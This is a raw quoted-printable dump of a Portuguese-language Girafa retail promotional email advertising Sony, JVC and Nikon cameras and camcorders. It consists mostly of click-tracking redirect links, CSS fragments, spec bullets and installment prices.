=20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83851,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83852,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83853,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83854,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wM18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83846,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83855,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtZGlnaXRhbC1zb255LW5leC01cmstcHJldG8tMTYxLW1wLW= xjZC0zMC1mdWxsLWhkLWZvdG8tcGFub3ItbWljYS0zZC13aS1maS5odG0/dXRtX3NvdXJjZT0wM= 18wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9j= YW1wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5j= b20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83856,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvU29ueS9oYW5keWNhbS1oZHItcGoyMDAtcHJldGEtMi03LTUuM21wLWZ1bGwtaGQtcHJvam= V0b3ItMjV4LW9wdGljby16b29tLWhkci1wajIwMC1iLmh0bT91dG1fc291cmNlPTAzXzA3XzEzX= 29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83857,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPURTQy1XNzMwJm1hcmNhcz1Tb255JnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wM18wN18xM1= 9vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnb= j1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] HDR-PJ200/B [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83856,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvU29ueS9oYW5keWNhbS1oZHItcGoyMDAtcHJldGEtMi03LTUuM21wLWZ1bGwtaGQtcHJvam= V0b3ItMjV4LW9wdGljby16b29tLWhkci1wajIwMC1iLmh0bT91dG1fc291cmNlPTAzXzA3XzEzX= 29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] DSC-W730 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83857,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPURTQy1XNzMwJm1hcmNhcz1Tb255JnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wM18wN18xM1= 9vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnb= j1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Filmadora Sony Handycam [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83856,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvU29ueS9oYW5keWNhbS1oZHItcGoyMDAtcHJldGEtMi03LTUuM21wLWZ1bGwtaGQtcHJvam= V0b3ItMjV4LW9wdGljby16b29tLWhkci1wajIwMC1iLmh0bT91dG1fc291cmNlPTAzXzA3XzEzX= 29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Cmera Cyber-Shot Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83857,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DDSC-W730&marcas=3DSony&subgrupos=3D&utm_source=3D03_07_13_ofer= ta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_03= _07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 2.7" * 5.3MP * Full HD * Projetor Integrado 1.231,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83856,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/Sony/handycam-hdr-pj200-preta-2-7-5.3mp-full-hd-projetor-25x-opti= co-zoom-hdr-pj200-b.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83856,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/Sony/handycam-hdr-pj200-preta-2-7-5.3mp-full-hd-projetor-25x-opti= co-zoom-hdr-pj200-b.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83856,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/Sony/handycam-hdr-pj200-preta-2-7-5.3mp-full-hd-projetor-25x-opti= co-zoom-hdr-pj200-b.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 16.1MP * LCD 2.7 * 27MB * Mem=F3ria Expans=EDvel At=E9 64GB 351,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83857,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DDSC-W730&marcas=3DSony&subgrupos=3D&utm_source=3D03_07_13_ofer= ta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_03= _07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83857,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DDSC-W730&marcas=3DSony&subgrupos=3D&utm_source=3D03_07_13_ofer= ta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_03= _07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83857,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPURTQy1XNzMwJm1hcmNhcz1Tb255JnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wM18wN18xM1= 9vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnb= j1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83858,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtY3liZXItc2hvdC1zb255LWRzYy13eDgwdy1icmFuY2EtMT= YyLW1wLWxjZC0yNy00OC1tYi1mb3RvLTNkLmh0bT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0Y= V9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0= YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83859,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtZGlnaXRhbC1zb255LWFscGhhLXNsdGE1Ny0xNjFtcC1sY2= QtMzAtcGFub3ItbWljYS0zZC1mdWxsLWhkLWZhY2UtZGV0ZWN0aW9uLmh0bT91dG1fc291cmNlP= TAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRt= X2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] DSC-WX80W [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83858,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtY3liZXItc2hvdC1zb255LWRzYy13eDgwdy1icmFuY2EtMT= YyLW1wLWxjZC0yNy00OC1tYi1mb3RvLTNkLmh0bT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0Y= V9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0= YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] SLT-A57 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83859,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtZGlnaXRhbC1zb255LWFscGhhLXNsdGE1Ny0xNjFtcC1sY2= QtMzAtcGFub3ItbWljYS0zZC1mdWxsLWhkLWZhY2UtZGV0ZWN0aW9uLmh0bT91dG1fc291cmNlP= TAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRt= X2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] Cmera Cyber-Shot Sony [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83858,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtY3liZXItc2hvdC1zb255LWRzYy13eDgwdy1icmFuY2EtMT= YyLW1wLWxjZC0yNy00OC1tYi1mb3RvLTNkLmh0bT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0Y= V9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0= YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Cmera Digital Sony Alpha [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83859,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-digital-sony-alpha-slta57-161mp-lcd-30-panor-mi= ca-3d-full-hd-face-detection.htm?utm_source=3D03_07_13_oferta_do_dia&utm_me= dium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 16.2MP * LCD 2.7'' * 8GB * Foto 3D 615,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83858,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-cyber-shot-sony-dsc-wx80w-branca-162-mp-lcd-27-= 48-mb-foto-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&ut= m_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83858,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-cyber-shot-sony-dsc-wx80w-branca-162-mp-lcd-27-= 48-mb-foto-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&ut= m_content=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83858,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-cyber-shot-sony-dsc-wx80w-branca-162-mp-lcd-27-= 48-mb-foto-3d.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&ut= m_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 16.1MP * LCD 3.0" * Panormica 3D * Full HD 2.287,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83859,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-digital-sony-alpha-slta57-161mp-lcd-30-panor-mi= ca-3d-full-hd-face-detection.htm?utm_source=3D03_07_13_oferta_do_dia&utm_me= dium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83859,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= ameras-Digitais/Sony/c-mera-digital-sony-alpha-slta57-161mp-lcd-30-panor-mi= ca-3d-full-hd-face-detection.htm?utm_source=3D03_07_13_oferta_do_dia&utm_me= dium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weigh= t: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83859,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtZGlnaXRhbC1zb255LWFscGhhLXNsdGE1Ny0xNjFtcC1sY2= QtMzAtcGFub3ItbWljYS0zZC1mdWxsLWhkLWZhY2UtZGV0ZWN0aW9uLmh0bT91dG1fc291cmNlP= TAzXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRt= X2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83860,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvSlZDL2MtbWVyYS1kZS1qdmMtZ2MteGExLWxjZC0xNS13aS1maS1mdWxsLWhkLXpvb20tZG= lnaXRhbC01eC16b29tLXB0aWNvLTF4Lmh0bT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83861,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUMlQzMlQTJtZXJhJTIwRGlnaXRhbCUyME5pa29uJTIwQ29vbHBpeCUyMEw4MTAlMjAlMj= AlMjAxNk1QJTIwJTIwJTIwWm9vbSUyMGRlJTIwMjZ4JTIwJTIwJTIwTENEJTIwMyUyMCUyMCUyM= CUyMEZpbG1hZ2VtJTIwSEQmbWFyY2FzPU5pa29uJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wM18w= N18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1= wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] GC-XA1 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83860,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvSlZDL2MtbWVyYS1kZS1qdmMtZ2MteGExLWxjZC0xNS13aS1maS1mdWxsLWhkLXpvb20tZG= lnaXRhbC01eC16b29tLXB0aWNvLTF4Lmh0bT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] L810 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83861,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUMlQzMlQTJtZXJhJTIwRGlnaXRhbCUyME5pa29uJTIwQ29vbHBpeCUyMEw4MTAlMjAlMj= AlMjAxNk1QJTIwJTIwJTIwWm9vbSUyMGRlJTIwMjZ4JTIwJTIwJTIwTENEJTIwMyUyMCUyMCUyM= CUyMEZpbG1hZ2VtJTIwSEQmbWFyY2FzPU5pa29uJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wM18w= N18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1= wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] Filmadora JVC [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83860,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0ZpbG1hZG9= yYXMvSlZDL2MtbWVyYS1kZS1qdmMtZ2MteGExLWxjZC0xNS13aS1maS1mdWxsLWhkLXpvb20tZG= lnaXRhbC01eC16b29tLXB0aWNvLTF4Lmh0bT91dG1fc291cmNlPTAzXzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDNfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Cmera Digital Nikon Coolpix [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83861,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DC%C3%A2mera%20Digital%20Nikon%20Coolpix%20L810%20%20%2016MP%20= %20%20Zoom%20de%2026x%20%20%20LCD%203%20%20%20%20Filmagem%20HD&marcas=3DNik= on&subgrupos=3D&utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_03_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * LCD 1.5" * Wi-Fi * Full HD * =C0 prova d'=E0gua 1.055,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83860,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/JVC/c-mera-de-jvc-gc-xa1-lcd-15-wi-fi-full-hd-zoom-digital-5x-zoo= m-ptico-1x.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83860,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/JVC/c-mera-de-jvc-gc-xa1-lcd-15-wi-fi-full-hd-zoom-digital-5x-zoo= m-ptico-1x.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83860,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/F= ilmadoras/JVC/c-mera-de-jvc-gc-xa1-lcd-15-wi-fi-full-hd-zoom-digital-5x-zoo= m-ptico-1x.htm?utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_03_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * 16MP * Zoom de 26x * LCD 3" * Filmagem HD 659,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83861,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DC%C3%A2mera%20Digital%20Nikon%20Coolpix%20L810%20%20%2016MP%20= %20%20Zoom%20de%2026x%20%20%20LCD%203%20%20%20%20Filmagem%20HD&marcas=3DNik= on&subgrupos=3D&utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_03_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83861,4= bd2115a038a04cf701c38dff390ba97,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DC%C3%A2mera%20Digital%20Nikon%20Coolpix%20L810%20%20%2016MP%20= %20%20Zoom%20de%2026x%20%20%20LCD%203%20%20%20%20Filmagem%20HD&marcas=3DNik= on&subgrupos=3D&utm_source=3D03_07_13_oferta_do_dia&utm_medium=3DEmail&utm_= content=3D&utm_campaign=3Doferta_do_dia_03_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83861,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUMlQzMlQTJtZXJhJTIwRGlnaXRhbCUyME5pa29uJTIwQ29vbHBpeCUyMEw4MTAlMjAlMj= AlMjAxNk1QJTIwJTIwJTIwWm9vbSUyMGRlJTIwMjZ4JTIwJTIwJTIwTENEJTIwMyUyMCUyMCUyM= CUyMEZpbG1hZ2VtJTIwSEQmbWFyY2FzPU5pa29uJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wM18w= N18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1= wYWlnbj1vZmVydGFfZG9fZGlhXzAzXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83862,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPVA1MTAmbWFyY2FzPU5pa29uJnN1YmdydXBvcz05MTgsMjAzNjQwJnV0bV9zb3VyY2U9MD= NfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY= 2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20= =3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83863,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtc29ueS1hbHBoYS1zbHQtYTc3LWNvcnBvLXByZXRhLTI0M2= 1wLWxjZC0zMC1mdWxsLWhkLWZvdG8tcGFub3JhbWEtM2QuaHRtP3V0bV9zb3VyY2U9MDNfMDdfM= TNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFp= Z249b2ZlcnRhX2RvX2RpYV8wM18wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3258,644384,83864,4= bd2115a038a04cf701c38dff390ba97,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NhbWVyYXM= tRGlnaXRhaXMvU29ueS9jLW1lcmEtY3liZXItc2hvdC1zb255LWRzYy13eDYwLWJyYW5jYS0xNj= ItbXAtbGNkLTI3LTQ4LW1iLWZvdG8tM2QuaHRtP3V0bV9zb3VyY2U9MDNfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= 